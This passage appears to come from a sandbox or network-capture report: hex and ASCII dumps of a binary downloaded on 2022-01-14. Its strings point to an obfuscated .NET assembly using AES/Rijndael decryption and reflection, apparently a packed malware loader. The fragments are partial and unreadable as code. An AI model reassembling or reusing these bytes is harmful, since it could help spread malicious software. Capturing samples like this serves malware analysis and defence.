Data Ascii: eB$DJ!Fz!I#7KTeK$MJ!Zz!h#7lTel$nJ!qz!u#7wTew$yJ!|z!

2022-01-14 11:22:26 UTC 76 IN Data Raw: bb 0d b1 01 60 ea 00 00 08 00 96 00 36 3f c1 0d b2 01 70 ea 00 00 08 00 86 18 54 00 d7 00 b4 01 78 ea 00 00 
00 00 91 18 0f 17 37 01 b4 01 80 ea 00 00 08 00 93 00 ad 3f da 0d b4 01 88 ea 00 00 08 00 93 00 b8 3f df 0d b4 01 b4 ea 
00 00 08 00 93 00 14 40 a9 0e b8 01 bc ea 00 00 08 00 93 00 1f 40 b6 0e bb 01 c4 ea 00 00 08 00 93 00 2a 40 37 01 be 
01 d4 ea 00 00 08 00 93 00 35 40 70 02 be 01 e4 ea 00 00 08 00 93 00 40 40 d3 0e bf 01 f4 ea 00 00 08 00 86 18 54 00 
d7 00 c0 01 fc ea 00 00 08 00 91 18 0f 17 37 01 c0 01 50 eb 00 00 08 00 93 00 4b 40 45 01 c0 01 58 eb 00 00 08 00 93 00 
5f 40 e3 0e c0 01 60 eb 00 00 08 00 93 00 73 40 37 01 c0 01 68 eb 00 00 08 00 c3 02 f3 40 fe 0e c0 01 70 eb 00 00 08 00 
c3 02 fe 40 fe 0e c1 01 78 eb 00 00 08 00 86 18 54 00 05 0f c2 
Data Ascii: `6?pTx7??@@*@75@p@@T7PK@EX_@`s@7h@p@xT

2022-01-14 11:22:26 UTC 81 IN Data Raw: 0f 31 02 14 f8 00 00 08 00 c6 00 a8 43 74 0f 32 02 24 f8 00 00 08 00 86 00 8b 47 74 0f 33 02 34 f8 00 00 08 00 
c6 00 b3 43 74 0f 34 02 44 f8 00 00 08 00 86 00 96 47 74 0f 35 02 54 f8 00 00 08 00 c6 00 be 43 74 0f 36 02 64 f8 00 00 
08 00 c6 00 c9 43 74 0f 37 02 74 f8 00 00 08 00 c6 00 d4 43 6e 0f 38 02 84 f8 00 00 08 00 c6 00 df 43 74 0f 38 02 94 f8 00 
00 08 00 c6 00 ea 43 74 0f 39 02 a4 f8 00 00 08 00 c6 00 f5 43 74 0f 3a 02 b4 f8 00 00 08 00 c6 00 00 44 74 0f 3b 02 c4 f8 
00 00 08 00 86 00 a1 47 fb 0f 3c 02 cc f8 00 00 08 00 86 00 ac 47 fb 0f 3d 02 d4 f8 00 00 08 00 86 00 b7 47 fb 0f 3e 02 dc 
f8 00 00 08 00 c6 00 f1 2e 08 02 3f 02 e4 f8 00 00 08 00 c3 02 0b 44 6e 0f 3f 02 ec f8 00 00 08 00 c3 02 16 44 7e 01 3f 02 
f4 f8 00 00 08 00 c3 02 21 44 7d 0f 3f 02 
Data Ascii: 1Ct2$Gt34Ct4DGt5TCt6dCt7tCn8Ct8Ct9Ct:Dt;G<G=G>.?Dn?D~?!D}?

2022-01-14 11:22:26 UTC 85 IN Data Raw: b2 02 44 01 01 00 08 00 c3 02 d4 4a 52 05 b4 02 50 01 01 00 08 00 c3 02 f3 40 fe 0e b4 02 60 01 01 00 08 00 
c3 02 fe 40 fe 0e b5 02 68 01 01 00 08 00 c3 02 df 4a fe 0e b6 02 70 01 01 00 08 00 c3 02 35 41 41 0f b7 02 80 01 01 00 
08 00 c3 02 0b 44 6e 0f b8 02 88 01 01 00 08 00 c3 02 16 44 7e 01 b8 02 90 01 01 00 08 00 c3 02 21 44 7d 0f b8 02 a0 01 
01 00 08 00 c3 02 37 44 7d 0f b9 02 b0 01 01 00 08 00 c3 02 56 41 7e 01 ba 02 b8 01 01 00 08 00 93 00 ec 4c 45 01 ba 
02 c0 01 01 00 08 00 93 00 00 4d 05 11 ba 02 c8 01 01 00 08 00 93 00 14 4d c3 0a ba 02 d0 01 01 00 00 00 91 18 0f 17 
37 01 ba 02 d8 01 01 00 08 00 86 18 54 00 d7 00 ba 02 e0 01 01 00 08 00 93 00 5d 4d 45 01 ba 02 e8 01 01 00 08 00 93 
00 71 4d 10 11 ba 02 f0 01 01 00 00 00 91 18 0f 17 37 01 ba 02 f8 
Data Ascii: DJRP@`@hJp5AADnD~!D}7D}VA~LEMM7T]MEqM7

2022-01-14 11:22:26 UTC 89 IN Data Raw: 03 d0 0d 01 00 08 00 16 00 f5 68 b0 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 dc 0d 01 00 08 00 10 
18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 b3 00 31 03 f0 0d 01 00 08 00 16 00 f5 68 bc 18 31 03 00 00 00 00 03 
00 06 18 54 00 65 01 31 03 fc 0d 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 c9 18 31 03 10 0e 
01 00 08 00 16 00 f5 68 cf 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 1c 0e 01 00 08 00 10 18 0f 17 37 01 31 03 
00 00 00 00 03 00 46 00 24 18 dd 18 31 03 30 0e 01 00 08 00 16 00 f5 68 e4 18 31 03 00 00 00 00 03 00 06 18 54 00 65 
01 31 03 3c 0e 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 f3 18 31 03 50 0e 01 00 08 00 16 00 f5 
68 f8 18 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 5c 0e 
Data Ascii: h1Te171F$1h1Te171F$1h1Te171F$10h1Te1<71F$1Ph1Te1\

2022-01-14 11:22:26 UTC 93 IN Data Raw: e4 17 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 53 1f 31 03 f8 17 01 00 08 00 16 00 
f5 68 5c 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 08 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 
46 00 24 18 6d 1f 31 03 1c 18 01 00 08 00 16 00 f5 68 75 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 2c 18 01 00 
08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 85 1f 31 03 40 18 01 00 08 00 16 00 f5 68 8c 1f 31 03 00 00 
00 00 03 00 06 18 54 00 65 01 31 03 50 18 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 9b 1f 31 
03 64 18 01 00 08 00 16 00 f5 68 a2 1f 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 70 18 01 00 08 00 10 18 0f 17 37 
01 31 03 00 00 00 00 03 00 46 00 24 18 b1 1f 31 03 84 18 01 
Data Ascii: 71F$S1h\1Te171F$m1hu1Te1,71F$1@h1Te1P71F$1dh1Te1p71F$1

2022-01-14 11:22:26 UTC 96 IN Data Raw: 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 
01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 
29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 
01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 
29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 
01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 
29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 
Data Ascii: )))))))))))))))))))))))))))))))))))))))))))

Timestamp
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2022-01-14 11:22:26 UTC 100 IN Data Raw: f1 2e 08 02 f1 00 f1 2e 08 02 d1 01 ef 2c ad 20 d1 01 60 2f b3 20 81 01 89 32 b8 20 69 02 89 32 c2 20 51 00 d2 
4f 9f 07 79 00 e7 6f cc 20 79 00 e9 2e c6 07 21 01 fa 6f 08 02 09 02 90 2a d1 20 79 01 07 70 d8 20 79 01 14 70 df 20 d1 
01 23 2c 9f 07 79 01 22 70 e4 20 21 01 30 70 eb 20 61 03 41 70 f2 20 61 03 47 70 f2 20 d1 01 90 2a f7 20 19 03 52 70 52 
05 49 02 7d 2d 01 21 49 02 65 70 0b 21 49 02 7d 2d 14 21 49 02 72 70 1e 21 49 02 7d 2d 2c 21 e9 03 8d 70 c6 07 81 01 
bc 2c 7e 01 49 02 7d 2d 36 21 49 02 7d 2d 40 21 31 01 9b 70 d3 10 19 00 a6 70 48 21 81 01 b0 70 4d 21 21 01 c0 70 53 
21 f1 03 54 00 d7 00 f9 03 54 00 d7 00 01 04 54 00 d7 00 09 04 54 00 6b 21 21 04 54 00 d7 00 29 04 54 00 d7 00 31 04 
54 00 6f 22 49 04 54 00 d7 00 06 00 15 00 f3 01 02 00 d5 0b e0 
Data Ascii: .., `/ 2 i2 QOyo y.!o* yp yp #,y"p !0p aAp aGp * RpRI}-!Iep!I}-!Irp!I}-,!p,~I}-6!I}-@!1ppH!pM!!pS!TTTTk!!T)T
1To"IT

2022-01-14 11:22:26 UTC 104 IN Data Raw: 66 4c 6b 75 67 53 31 58 38 51 39 4e 00 53 47 39 4b 69 79 49 62 74 64 67 47 44 66 31 32 71 72 00 75 4b 74 76 
4b 64 6b 42 6a 76 34 74 33 54 46 51 42 65 00 4e 69 66 76 64 70 74 68 58 79 5a 53 33 6a 38 58 78 45 00 41 74 74 72 69 
62 75 74 65 00 6a 73 54 38 56 69 31 6e 71 57 32 6e 4d 36 46 4b 4b 43 4a 60 31 00 43 49 4b 42 59 35 5a 74 71 39 47 67 
34 6f 45 35 56 55 00 76 62 68 76 36 59 75 42 4c 42 6e 5a 45 30 48 42 5a 55 00 58 43 42 30 73 38 37 42 44 48 30 69 51 4
b 67 4a 36 58 00 48 6d 76 79 77 36 4f 4a 32 56 50 5a 55 43 56 49 6c 55 00 66 6a 76 49 44 58 6f 48 78 4c 54 47 78 6c 41 
4c 53 4b 00 69 6f 43 31 59 63 76 62 5a 32 79 52 47 67 73 4f 42 45 00 71 41 53 38 51 69 52 73 38 6e 62 46 61 41 33 65 
30 63 00 58 4e 56 30 75 42 4e 49 66 30 68 52 47 4c 6c 54 65 72 00 51 
Data Ascii: fLkugS1X8Q9NSG9KiyIbtdgGDf12qruKtvKdkBjv4t3TFQBeNifvdpthXyZS3j8XxEAttributejsT8Vi1nqW2nM
6FKKCJ`1CIKBY5Ztq9Gg4oE5VUvbhv6YuBLBnZE0HBZUXCB0s87BDH0iQKgJ6XHmvyw6OJ2VPZUCVIlUfjvIDXoHxL
TGxlALSKioC1YcvbZ2yRGgsOBEqAS8QiRs8nbFaA3e0cXNV0uBNIf0hRGLlTerQ

2022-01-14 11:22:26 UTC 108 IN Data Raw: 50 65 75 00 71 4a 65 44 45 64 70 77 58 75 55 51 6a 36 52 57 70 35 41 00 73 67 6e 69 72 74 53 62 65 46 6e 6f 
69 74 61 73 72 65 76 6e 6f 43 65 72 75 63 65 53 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 35 39 32 34 38 61 
73 64 00 74 6e 65 6d 65 6c 45 67 6e 69 64 6f 63 6e 45 65 67 61 73 73 65 4d 79 72 61 6e 69 42 6e 6f 69 74 61 72 75 67 
69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 33 31 36 33 32 00 6d 75 4f 70 62 58 67 75 48 68 77 
57 5a 68 6a 31 76 77 43 00 73 67 6e 69 64 6e 69 42 65 67 6e 61 68 63 78 45 61 74 61 64 61 74 65 4d 6e 6f 69 74 70 69 
72 63 73 65 44 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 32 38 31 00 65 70 79 54 6e 6f 69 74 63 65 6c 6c 
6f 43 72 65 64 61 65 48 62 65 57 74 65 4e 6d 65 74 73 79 53 38 
Data Ascii: PeuqJeDEdpwXuUQj6RWp5AsgnirtSbeFnoitasrevnoCeruceSledoMecivreSmetsyS59248asdtnemelEgnido
cnEegasseMyraniBnoitarugifnoCledoMecivreSmetsyS31632muOpbXguHhwWZhj1vwCsgnidniBegnahcxEatadateMnoitp
ircseDledoMecivreSmetsyS2281epyTnoitcelloCredaeHbeWteNmetsyS8

2022-01-14 11:22:26 UTC 113 IN Data Raw: 6c 65 00 45 6e 63 6f 64 69 6e 67 00 67 65 74 5f 55 6e 69 63 6f 64 65 00 47 65 74 53 74 72 69 6e 67 00 73 65 
74 5f 55 73 65 4d 61 63 68 69 6e 65 4b 65 79 53 74 6f 72 65 00 48 35 46 6a 57 49 32 71 4c 41 00 48 49 6d 48 65 68 4d 
51 73 00 20 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 47 65 74 42 79 74 65 73 00 43 6f 70 79 00 4f 64 54 66 74 56 58 67 
52 00 66 42 53 49 73 46 61 76 73 00 6c 56 76 6d 32 6a 63 36 33 00 51 6b 75 67 67 53 31 58 38 00 71 39 4e 59 46 47 39 
4b 69 00 4f 62 74 38 64 67 47 44 66 00 62 32 71 43 72 6e 4b 57 31 00 51 33 6c 6a 55 79 76 58 6d 00 53 79 6d 6d 65 74 7
2 69 63 41 6c 67 6f 72 69 74 68 6d 00 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 52 69 6
a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 00 41 63 74 69 76 61 74 6f 
Data Ascii: leEncodingget_UnicodeGetStringset_UseMachineKeyStoreH5FjWI2qLAHImHehMQs BitConverterGetB
ytesCopyOdTftVXgRfBSIsFavslVvm2jc63QkuggS1X8q9NYFG9KiObt8dgGDfb2qCrnKW1Q3ljUyvXmSymmetricA
lgorithmAesCryptoServiceProviderRijndaelManagedActivato

2022-01-14 11:22:26 UTC 117 IN Data Raw: 65 67 61 74 65 00 64 69 46 65 33 32 49 34 46 55 53 6f 66 32 57 6c 4f 39 53 00 52 75 6e 74 69 6d 65 4d 65 74 
68 6f 64 48 61 6e 64 6c 65 00 67 65 74 5f 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 56 44 36 56 59 6c 49 32 50 46 4e 71 46 
52 4b 56 57 5a 4f 00 50 72 65 70 61 72 65 4d 65 74 68 6f 64 00 51 56 63 54 4c 37 49 58 66 6a 53 77 4a 4f 43 30 38 53 54 
00 77 6c 70 71 64 48 49 65 6b 52 66 45 55 58 48 54 56 50 71 00 6b 4c 4d 65 4f 45 49 72 59 37 68 58 77 68 70 6f 70 71 54 
00 50 6b 37 51 71 78 6a 36 53 4f 6a 42 59 30 69 57 42 4a 51 00 52 35 61 45 6b 62 6a 47 64 59 42 4c 4d 4c 77 4c 53 58 
4e 00 49 37 62 37 6c 4d 70 6d 5a 42 71 61 6c 6a 6d 4d 6d 6c 66 00 51 79 6b 6b 68 38 70 48 76 6d 31 44 66 6d 31 67 39 
45 65 00 74 39 57 4a 44 62 70 53 48 73 36 75 4a 45 57 6c 56 68 
Data Ascii: egatediFe32I4FUSof2WlO9SRuntimeMethodHandleget_MethodHandleVD6VYlI2PFNqFRKVWZOPrepareMet
hodQVcTL7IXfjSwJOC08STwlpqdHIekRfEUXHTVPqkLMeOEIrY7hXwhpopqTPk7Qqxj6SOjBY0iWBJQR5aEkbjGdYB
LMLwLSXNI7b7lMpmZBqaljmMmlfQykkh8pHvm1Dfm1g9Eet9WJDbpSHs6uJEWlVh

2022-01-14 11:22:26 UTC 121 IN Data Raw: 69 36 64 38 6b 6f 32 00 73 77 43 50 61 6d 30 4b 78 30 4e 6b 43 77 31 78 76 52 62 00 45 56 71 48 44 65 30 37 
53 67 46 39 66 33 6b 52 62 61 61 00 42 50 4f 69 45 68 62 36 4e 63 00 7a 6b 72 69 53 61 39 4b 70 64 00 58 64 47 69 48 
72 4d 68 6f 69 00 6b 34 5a 32 4a 79 30 57 57 38 69 77 4a 43 4e 59 5a 78 77 00 73 36 46 4e 33 62 30 44 68 48 75 34 67 
53 50 44 58 69 34 00 54 74 74 62 77 58 30 50 49 74 41 50 70 57 67 77 68 65 32 00 6b 74 45 69 6a 30 68 51 37 79 00 58 
6e 4c 69 61 62 50 53 41 49 00 77 55 31 51 50 6f 30 75 46 52 54 42 52 62 79 68 5a 34 64 00 4e 6f 74 49 6d 70 6c 65 6d 65 
6e 74 65 64 45 78 63 65 70 74 69 6f 6e 00 43 30 6e 51 54 61 30 55 62 6c 33 50 6f 77 77 47 5a 54 61 00 58 79 4b 33 72 76 
30 36 51 67 34 4e 6d 79 30 35 61 66 38 00 54 5a 64 69 77 48 64 79 
Data Ascii: i6d8ko2swCPam0Kx0NkCw1xvRbEVqHDe07SgF9f3kRbaaBPOiEhb6NczkriSa9KpdXdGiHrMhoik4Z
2Jy0WW8iwJCNYZxws6FN3b0DhHu4gSPDXi4TttbwX0PItAPpWgwhe2ktEij0hQ7yXnLiabPSAIwU1QPo0uFRTBRbyh
Z4dNotImplementedExceptionC0nQTa0Ubl3PowwGZTaXyK3rv06Qg4Nmy05af8TZdiwHdy

2022-01-14 11:22:26 UTC 125 IN Data Raw: 32 63 35 62 32 63 65 35 00 6d 5f 39 37 63 34 38 62 63 30 64 39 32 66 34 39 38 64 61 64 34 62 65 65 61 36 32 
33 31 30 37 65 36 32 00 6d 5f 62 64 61 30 37 34 61 63 33 30 61 61 34 62 37 35 61 62 61 35 39 33 35 33 31 62 30 65 35 
63 39 36 00 6d 5f 62 62 39 32 63 33 36 33 66 32 66 37 34 63 35 30 61 65 33 61 66 31 36 36 66 66 37 33 66 36 63 31 00 
6d 5f 34 63 63 66 36 62 35 34 61 37 39 65 34 63 33 62 39 35 62 38 31 64 39 61 61 33 32 63 65 33 65 61 00 6d 5f 61 35 3
6 63 63 62 64 33 34 61 30 38 34 32 36 38 39 62 61 32 64 36 38 31 37 34 30 61 63 64 64 30 00 6d 5f 65 65 35 30 61 38 36 
34 63 66 32 64 34 30 64 32 38 64 37 35 38 39 62 33 35 63 64 37 37 33 65 36 00 6d 5f 31 31 37 61 66 66 64 65 64 35 39 
31 34 61 34 37 39 39 66 66 64 30 32 64 32 33 61 34 30 37 31 31 00 6d 
Data Ascii: 2c5b2ce5m_97c48bc0d92f498dad4beea623107e62m_bda074ac30aa4b75aba593531b0e5c96m_bb92c363f2
f74c50ae3af166ff73f6c1m_4ccf6b54a79e4c3b95b81d9aa32ce3eam_a56ccbd34a0842689ba2d681740acdd0m_ee50a864
cf2d40d28d7589b35cd773e6m_117affded5914a4799ffd02d23a40711m

2022-01-14 11:22:26 UTC 128 IN Data Raw: 32 38 61 31 30 63 30 63 34 32 32 63 38 31 31 35 39 34 64 36 62 37 65 37 32 31 39 30 00 6d 5f 38 34 35 33 30 
35 62 64 61 39 37 31 34 64 65 34 61 30 36 33 65 39 66 38 66 31 30 31 63 33 34 39 00 6d 5f 66 37 33 30 39 33 63 31 32 
38 36 33 34 62 37 36 38 39 36 33 37 63 32 64 33 32 31 64 64 65 64 38 00 6d 5f 36 30 33 36 62 32 32 30 61 38 30 38 34 
63 30 64 61 30 31 38 63 33 32 31 62 62 65 37 37 35 36 63 00 6d 5f 34 66 38 36 33 39 33 38 36 64 37 66 34 66 62 32 62 6
5 39 31 32 36 30 61 32 37 32 65 39 39 64 65 00 6d 5f 64 39 33 39 36 35 32 37 65 34 38 39 34 61 36 30 39 63 37 38 65 36 
33 33 34 34 35 34 64 37 61 37 00 6d 5f 39 31 38 36 36 32 38 62 38 38 31 38 34 35 33 39 38 66 37 31 33 39 36 66 63 32 
31 35 65 61 64 61 00 6d 5f 37 66 38 62 61 35 36 64 36 35 31 34 34 64 
Data Ascii: 28a10c0c422c811594d6b7e72190m_845305bda9714de4a063e9f8f101c349m_f73093c128634b7689637c2d
321dded8m_6036b220a8084c0da018c321bbe7756cm_4f8639386d7f4fb2be91260a272e99dem_d9396527e489
4a609c78e6334454d7a7m_9186628b881845398f71396fc215eadam_7f8ba56d65144d
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2022-01-14 11:22:26 UTC 132 IN Data Raw: 00 6f 00 72 00 65 00 74 00 6e 00 49 00 65 00 6d 00 69 00 74 00 6e 00 75 00 52 00 6d 00 65 00 74 00 73 00 79 
00 53 00 36 00 33 00 37 00 30 00 33 00 56 00 73 00 55 00 43 00 77 00 38 00 47 00 50 00 69 00 51 00 5a 00 41 00 77 00 
63 00 73 00 50 00 6a 00 4d 00 52 00 4d 00 51 00 3d 00 3d 00 00 80 b7 49 00 6c 00 61 00 68 00 73 00 72 00 61 00 4d 00 
65 00 6c 00 4f 00 64 00 72 00 61 00 64 00 6e 00 61 00 74 00 53 00 73 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 70 0
0 6f 00 72 00 65 00 74 00 6e 00 49 00 65 00 6d 00 69 00 74 00 6e 00 75 00 52 00 6d 00 65 00 74 00 73 00 79 00 53 00 36 
00 33 00 37 00 30 00 33 00 41 00 63 00 51 00 4a 00 41 00 38 00 47 00 57 00 54 00 38 00 33 00 50 00 78 00 51 00 70 00 
50 00 69 00 77 00 4e 00 45 00 69 00 67 00 42 00 4a 00 51 00 51 00 4f 
Data Ascii: oretnIemitnuRmetsyS63703VsUCw8GPiQZAwcsPjMRMQ==IlahsraMelOdradnatSsecivreSporetnIemitnuR
metsyS63703AcQJA8GWT83PxQpPiwNEigBJQQO

2022-01-14 11:22:26 UTC 136 IN Data Raw: 0e 1c 0b 15 12 80 95 05 12 71 1c 0e 0e 1c 0c 20 04 13 04 13 00 13 01 13 02 13 03 0c 15 12 69 01 15 12 6d 03 
12 71 1c 1c 08 15 12 6d 03 12 71 1c 1c 0e 15 12 80 8d 06 12 71 12 80 91 1c 08 1c 1c 0e 20 05 13 05 13 00 13 01 13 02 
13 03 13 04 06 00 01 1d 05 1d 05 16 07 08 12 80 9d 1d 05 1d 05 12 80 a1 12 80 a5 12 80 a9 1d 05 1d 05 0c 20 03 01 12 
80 ad 12 80 a1 11 80 b1 04 00 00 12 24 04 28 00 1d 05 10 06 15 12 69 01 15 12 80 89 04 12 71 12 24 1c 1c 0e 06 15 12 6
9 01 15 12 6d 03 12 71 1c 1d 05 10 06 15 12 69 01 15 12 80 95 05 12 71 1c 0e 0e 1c 0d 06 15 12 69 01 15 12 6d 03 12 71 
1c 1c 13 06 15 12 69 01 15 12 80 8d 06 12 71 12 80 91 1c 08 1c 1c 04 00 01 18 0e 01 02 04 00 01 02 18 05 00 02 18 18 
0e 03 06 12 34 05 20 01 01 1d 1c 06 30 01 01 1e 00 0e 03 07 01 18 02 
Data Ascii: q imqmqq  $(iq$imqiqimqiq4 0

2022-01-14 11:22:26 UTC 140 IN Data Raw: 05 12 80 e9 11 81 8c 1c 1d 12 81 7c 09 15 12 80 d5 02 1c 12 81 7c 02 1d 08 08 20 02 02 13 00 10 13 01 01 00 
0c 20 03 12 81 7c 12 81 7c 11 81 14 02 06 20 01 12 81 7c 08 06 00 01 08 12 80 91 04 07 02 08 08 09 15 12 80 d5 02 12 
80 91 08 05 06 1d 12 80 91 0c 20 04 01 0e 12 80 91 1d 12 80 91 02 07 20 02 01 08 12 81 7c 37 07 15 08 12 81 35 12 80 
c5 1d 12 81 1d 08 1d 12 81 7c 15 12 80 cd 01 12 81 54 12 81 58 12 81 5c 1c 12 81 7c 1c 08 12 81 7c 12 80 91 1c 02 12 8
1 34 12 80 91 08 1d 1c 09 00 02 12 81 5c 12 81 35 02 27 07 10 08 12 80 c5 12 81 21 12 81 25 1d 12 81 1d 1d 12 80 91 08 
1d 12 81 d9 12 81 5c 08 08 08 08 12 80 91 08 12 81 5c 0b 15 12 80 d5 02 12 81 35 12 81 5c 02 1d 1c 0c 00 03 12 81 5c 
12 81 35 02 12 81 58 2d 07 12 12 81 5c 12 80 c5 12 81 21 12 81 25 08 
Data Ascii: ||  || |  |75|TX\||4\5'!%\\5\\5X-\!%

2022-01-14 11:22:26 UTC 145 IN Data Raw: 7a 3c 9b bb 14 b2 a2 0f c4 29 3f 49 cd 5c 1a 80 33 a8 87 2f 6f 03 d6 26 0f 7c 54 21 56 a3 95 23 b3 25 0b a6 c6 
39 d4 76 ac 00 54 9c c0 65 ea 0f 7d 24 99 f9 6b ca 2d 15 8e cd fc 02 b1 76 25 ed 45 f1 35 81 59 0e 64 42 fb 81 4a 05 86 
18 a0 72 fe ce e7 6f ec 9e 5f f8 6a b3 2f 69 ce 1d c8 31 37 ce 7d 0b d4 4a 0c e7 7d fe c0 46 a6 61 b0 4a a3 b3 f3 65 70 bc 
21 4e 4c 77 aa 9b 91 ee a3 3b 51 20 93 0c c0 f9 98 7f 1d 39 cc 04 36 1c 96 cd 1b d5 6a 4d 2c 9a 72 30 d0 27 7e 7d 58 4a 
d3 14 cf 45 66 50 00 23 3f 6c e6 11 b4 bc 35 db 72 7d c0 0c a3 ae e6 36 c4 12 43 da 98 f6 07 94 bf fa 3d 92 eb fb 25 e9 5c 
91 0a fa 33 e2 80 3b e6 ed 84 4e 4b 83 76 6d 5f 35 10 c6 1c f0 fd 48 95 49 57 15 c0 d8 e6 67 2e ab 4e 55 ba ac 81 31 dd 
2a d1 e5 a8 1f 37 f0 44 bb 18 f5 d6 f8 e6 db 39 
Data Ascii: z<)?I\3/o&|T!V#%9vTe}$k-v%E5YdBJro_j/i17}J}FaJep!NLw;Q 96jM,r0'~}XJEfP#?l5r}6C=%\3;NKvm_
5HIWg.NU1*7D9

2022-01-14 11:22:26 UTC 149 IN Data Raw: 2e 77 8d 14 ab 38 56 59 cd d3 93 fb fe 0a 24 02 28 01 e4 78 06 cb 1f 0c 19 57 c9 51 79 46 3f fb 65 89 c5 4b d1 
e0 9d 49 e9 1f 30 4a bb bd 35 93 86 ea 79 38 3b 3c 2a 9d f1 56 60 97 a5 8c b5 62 be c9 b1 48 d5 55 3d b3 7f b3 9b 7c b2 
c5 6b 26 3c ac 52 3d be 24 e1 b2 3b e9 dc 8a ea 39 d9 64 95 5e 6d 26 c2 85 1b 3b ed c9 07 37 e5 96 a1 a3 f4 15 18 8f 89 
84 12 8a a7 79 90 84 c7 52 bf 11 98 0d 61 5f b8 c8 58 50 77 86 4f 1a 71 6f d4 e1 79 3b 82 48 79 b0 28 7d 6c a4 f3 21 9b 
66 2e 70 fc 57 66 25 23 d1 05 6b 69 91 46 a1 d1 e8 40 e9 62 8a 23 c7 ec f6 8c 2d c9 bb 87 d7 a3 72 8d de 92 7a e9 47 9c 
c9 75 34 b1 d8 0a 2d 68 8e 69 d9 af ee a8 53 b9 fb 7d 3d e7 e4 88 c5 a1 6f 45 7c a0 4b c1 0b 5d fb e6 2f 28 a5 16 7b 95 
22 4a 46 02 51 50 4e b4 63 cb a8 30 a3 a2 e7 e5 8d 23 
Data Ascii: .w8VY$(xWQyF?eKI0J5y8;<*V`bHU=|k&<R=$;9d^m&;7yRa_XPwOqoy;Hy(}l!f.pWf%#kiF@b#-rzGu4-hiS}=
oE|K]/({"JFQPNc0#

2022-01-14 11:22:26 UTC 153 IN Data Raw: f5 7d 4e 46 e8 ae 2f da 16 6c 54 5e be d9 a7 46 93 e8 7c 9f 62 e7 52 c8 79 dc da 33 f7 fd 3e 91 40 ba 2a c7 1d 
ce 1e b0 49 7e df 3f 44 97 f7 1e f1 b2 11 1b fc 6c 3d ec c0 b7 1d 95 f7 92 f7 4e 8f 0a c4 2a 69 24 a7 6a d6 32 8f b6 9e 0a 
1b 64 c3 3f 03 17 97 4c 7f 77 9e 3d 82 01 08 f0 c4 93 ab 7c f3 dc 74 39 6b 4c 33 4f 3f 4b 81 00 e1 1a fe f3 02 29 00 68 b5 
d5 ed 33 79 5b b9 dc d7 48 13 75 5c b1 7b d2 ba a1 c1 d9 5d 37 80 df 52 af b1 ea 51 aa 45 ce 6e 47 79 f2 77 58 0f 6a b9 
e4 2c 2f ee 35 d7 b0 5a a4 43 fa eb 74 f6 c7 e3 0b 93 80 65 f4 52 4a a0 b5 ea 98 44 98 51 f7 60 eb 25 23 7d 38 c1 dc fb 79 
a4 64 7f 68 27 a7 f5 64 b5 a7 ef 95 d8 9e 86 95 0d 58 a8 14 1c 09 86 36 e1 0b 24 76 17 4a 65 5a 9e 01 b0 8a d7 e4 02 70 
c3 d7 9c cc 36 b6 5a 02 8f 72 8f 31 de 71 c2 
Data Ascii: }NF/lT^F|bRy3>@*I~?Dl=N*i$j2d?Lw=|t9kL3O?K)h3y[Hu\{]7RQEnGywXj,/5ZCteRJDQ`%#}8ydh'dX6$vJ
eZp6Zr1q

2022-01-14 11:22:26 UTC 157 IN Data Raw: 0a 73 bf d2 c6 f4 d1 11 70 29 a5 69 95 19 65 15 2d f7 a9 f4 d2 14 ad 1d 81 aa 6c 9c 7b 17 dd 7c 78 a9 51 a5 a6
ad 85 fc 81 75 46 e9 92 04 97 ce 17 a7 6c 2b 51 64 a7 5a 71 bc 45 64 62 86 ad 2f f6 8f 76 56 75 f4 bd 72 94 9a 69 ca a8 
9a cc f2 62 0f 30 37 ee d1 9b c3 68 4d b0 e2 b3 a2 81 18 63 07 37 a3 51 ae 7b 44 58 7b a9 0b 31 89 34 e2 35 fe c7 16 69 
c2 24 10 32 21 b1 49 3c 79 9b 1b 0c df 9b fe 81 a5 c0 ed c6 5f e2 96 e2 e4 b6 9c e8 8e 24 f8 9f 34 ad 3a 8f cc f8 55 83 b7 
09 61 be b2 71 e3 2e d6 9b 7e 8a a2 20 90 58 6d 5a fc 24 5e 48 fb e1 4d 9e 05 51 8a b4 73 29 04 7b ca a0 05 0c 74 7e 37 
